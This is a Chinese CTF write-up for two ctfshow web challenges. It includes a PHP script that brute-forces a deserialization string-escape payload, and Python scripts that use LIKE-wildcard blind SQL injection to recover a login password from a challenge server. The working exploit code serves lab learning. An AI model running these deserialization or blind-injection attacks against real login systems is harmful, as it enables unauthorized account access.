ctfshow_月饼杯

2024-03-07 13:14:09

文章目录

0x01 web1_此夜圆（反序列化逃逸）
0x03 web3_莫负婵娟（LIKE盲注、$PATH环境变量截取字母）

0x01 web1_此夜圆（反序列化逃逸）

下载附件拿到源码，是反序列化逃逸的题

懒得算，直接遍历Firebasky的数量

<?php
error_reporting(0);
class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				echo "success!";	
			}
			else
			{
				echo 'wrong password';
			}
	}
}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}
$o = new a("test",1);
$encode = filter(serialize($o));
echo "正常格式：".$encode."\n";
//遍历payload：Firebasky乘以i加";s:8:"password";s:5:"yu22x";}
for ($i=0; $i < 40; $i++) { 
	$payload = str_repeat("Firebasky",$i).'";s:8:"password";s:5:"yu22x";}';
	$o = new a($payload,1);
	$encode = filter(serialize($o));
	$decode = unserialize($encode);
	if($decode->password=="yu22x"){
		echo "\npayload为：".$payload;
	}
}

结果：

正常格式：O:1:"a":2:{s:5:"uname";s:4:"test";s:8:"password";i:1;}
wrong passwordflag
payload为：FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}[Finished in 0.1s]

0x03 web3_莫负婵娟（LIKE盲注、$PATH环境变量截取字母）

在登录页面的源代码中可以看到一些提示

用户名为yu22x，查询语句为like，可以使用通配符%和_。

百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线_通配符允许匹配任何单个字符。

fuzz了一下，被过滤的有这些字符，%号被过滤了，我们可以使用_

写个脚本测试一下密码长度

import requests

headers = {
    "Accept": "*/*",
    "Accept-Encoding": "gzip, deflate",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0",
}
url = "http://d566d88e-ccce-4bcd-9ec5-7811d7f5ed24.challenge.ctf.show:8080/login.php"
data = {
    "username": "yu22x",
    "password": "{0}"
}
req = requests.post(url=url, data={"username": "yu22x", "password": "{0}".format("a")})
print(len(req.text))
for i in range(1, 50):
    req = requests.post(url=url, data={"username": "yu22x", "password": "{0}".format("_" * i)})
    if len(req.text) != 52:
        print("[+] 长度为", i)

长度为32

然后用32个_去登录，yu22x，________________________________

I have filtered all the characters. Why can you come in? get out!

看来是必须用真实的密码登录，写个脚本跑一下

import requests

headers = {
    "Accept": "*/*",
    "Accept-Encoding": "gzip, deflate",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0",
}
url = "http://d566d88e-ccce-4bcd-9ec5-7811d7f5ed24.challenge.ctf.show:8080/login.php"
data = {
    "username": "yu22x",
    "password": "{0}"
}
fuzz = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
res = ""
for i in range(32):
    for j in fuzz:
        req = requests.post(url=url, data={"username": "yu22x", "password": "{0}".format(res+j+"_"*(31-i))})
        # print(res+j+"_"*(32-i))
        if "wrong" not in req.text:
            res += j
            print(res)
            break

得到密码67815b0c009ee970fe4014abaa3Fa6A0

然后后面的都没想到，最开始还以为是ssrf，看了题解才知道怎么做